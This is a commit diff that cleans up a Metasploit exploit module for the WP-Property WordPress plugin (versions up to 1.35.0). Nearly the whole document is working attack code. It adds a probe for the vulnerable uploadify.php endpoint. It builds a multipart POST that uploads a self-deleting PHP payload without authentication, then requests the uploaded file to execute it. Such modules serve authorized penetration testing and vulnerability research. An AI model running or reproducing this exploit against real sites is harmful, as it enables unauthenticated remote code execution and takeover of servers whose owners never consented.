module cleanup by juan

Author: jvazquez-r7

modules/exploits/unix/webapp/wp_property_upload_exec.rb

@@ -2,7 +2,7 @@
 require 'msf/core/exploit/php_exe'
 
 class Metasploit3 < Msf::Exploit::Remote
-	Rank = GreatRanking
+	Rank = ExcellentRanking
 
 	include Msf::Exploit::Remote::HttpClient
 	include Msf::Exploit::PhpEXE
@@ -11,86 +11,95 @@ def initialize(info = {})
 		super(update_info(info,
 			'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',
 			'Description'    => %q{
-				This module exploits a vulnerability found in WP-Property <= 1.35.0
-				WordPress plugin.  By abusing the uploadify.php file, a malicious
-				user can upload a file to a temp directory without authentication,
-				which results in arbitrary code execution.
+					This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
+				plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
+				temp directory without authentication, which results in arbitrary code execution.
 			},
-			'Author'         => [ 
-						'Sammy FORGIT',	# initial discovery
-						'James Fitts' 	# metasploit module
-						],
+			'Author'         =>
+				[
+					'Sammy FORGIT',	# initial discovery
+					'James Fitts' 	# metasploit module
+				],
 			'License'        => MSF_LICENSE,
-			'Version'        => '$Revision: $',
 			'References'     =>
 				[
 					[ 'OSVDB', '82656' ],
+					[ 'BID', '53787' ],
+					[ 'EDB', '18987'],
+					[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
 				],
-			'Payload'	 =>
+			'Payload'	     =>
 				{
 					'BadChars' => "\x00",
 				},
 			'Platform'       => 'php',
-			'Arch'		 => ARCH_PHP,
+			'Arch'		     => ARCH_PHP,
 			'Targets'        =>
 				[
 					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
-					[ 'Linux x86'		, { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
+					[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
 				],
-			'DefaultTarget' => 0,
+			'DefaultTarget'  => 0,
 			'DisclosureDate' => 'Mar 26 2012'))
 
 		register_options(
 			[
-				OptString.new('TARGETURI', [true, 'The base path to WP-Property', '/wordpress/wp-content'])
+				OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
 			], self.class)
 	end
 
+	def check
+		uri =  target_uri.path
+		uri << '/' if uri[-1,1] != '/'
+
+		res = send_request_cgi({
+			'method'	=> 'GET',
+			'uri'		=> "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
+		})
+
+		if not res or res.code != 200
+			return Exploit::CheckCode::Unknown
+		end
+
+		return Exploit::CheckCode::Appears
+	end
+
 	def exploit
 		uri =  target_uri.path
 		uri << '/' if uri[-1,1] != '/'
 
 		peer = "#{rhost}:#{rport}"
-		uid = rand_text_alphanumeric(34).to_s
 
 		@payload_name = "#{rand_text_alpha(5)}.php"
+		php_payload = get_write_exec_payload(:unlink_self=>true)
+
+		data = Rex::MIME::Message.new
+		data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
+		data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
+		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
 
-		post_data =  "--#{uid}\r\n"
-		post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
-		post_data << "Content-Type: application/octet-stream\r\n"
-		post_data << "\r\n"
-		post_data << payload.raw + "\r\n"
-		post_data << "\r\n"
-		post_data << "--#{uid}\r\n"
-		post_data << "Content-Disposition: form-data; name=\"folder\"\r\n"
-		post_data << "\r\n"
-		post_data << "#{uri}plugins/wp-property/third-party/uploadify/\r\n"
-		post_data << "--#{uid}--\r\n"
-
-		print_status("Uploading payload #{@payload_name} to #{peer}...")
+		print_status("#{peer} - Uploading payload #{@payload_name}")
 		res = send_request_cgi({
 			'method'	=> 'POST',
-			'uri'		=> "#{uri}plugins/wp-property/third-party/uploadify/uploadify.php",
-			'ctype'		=> "multipart/form-data; boundary=#{uid}",
+			'uri'		=> "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
+			'ctype'		=> "multipart/form-data; boundary=#{data.bound}",
 			'data'		=> post_data
 		})
 
-		if res
-			print_status("#{peer} responds with status: #{res.code.to_s}")
-		else
-			print_error("#{peer} not responding to our requests...")
-			return
+		if not res or res.code != 200 or res.body !~ /#{@payload_name}/
+			fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
 		end
 
-		print_status("Executing payload #{@payload_name} on the target...")
+		upload_uri = res.body
+
+		print_status("#{peer} - Executing payload #{@payload_name}")
 		res = send_request_raw({
-			'uri'		=> "#{uri}plugins/wp-property/third-party/uploadify/#{@payload_name}",
+			'uri'		=> upload_uri,
 			'method'	=> 'GET'
 		})
 
-		if res and res.code == 404
-			print_error("Target responding with a 404... Upload probably failed...")
-			return
+		if not res or res.code != 200
+			fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution")
 		end
 	end
 end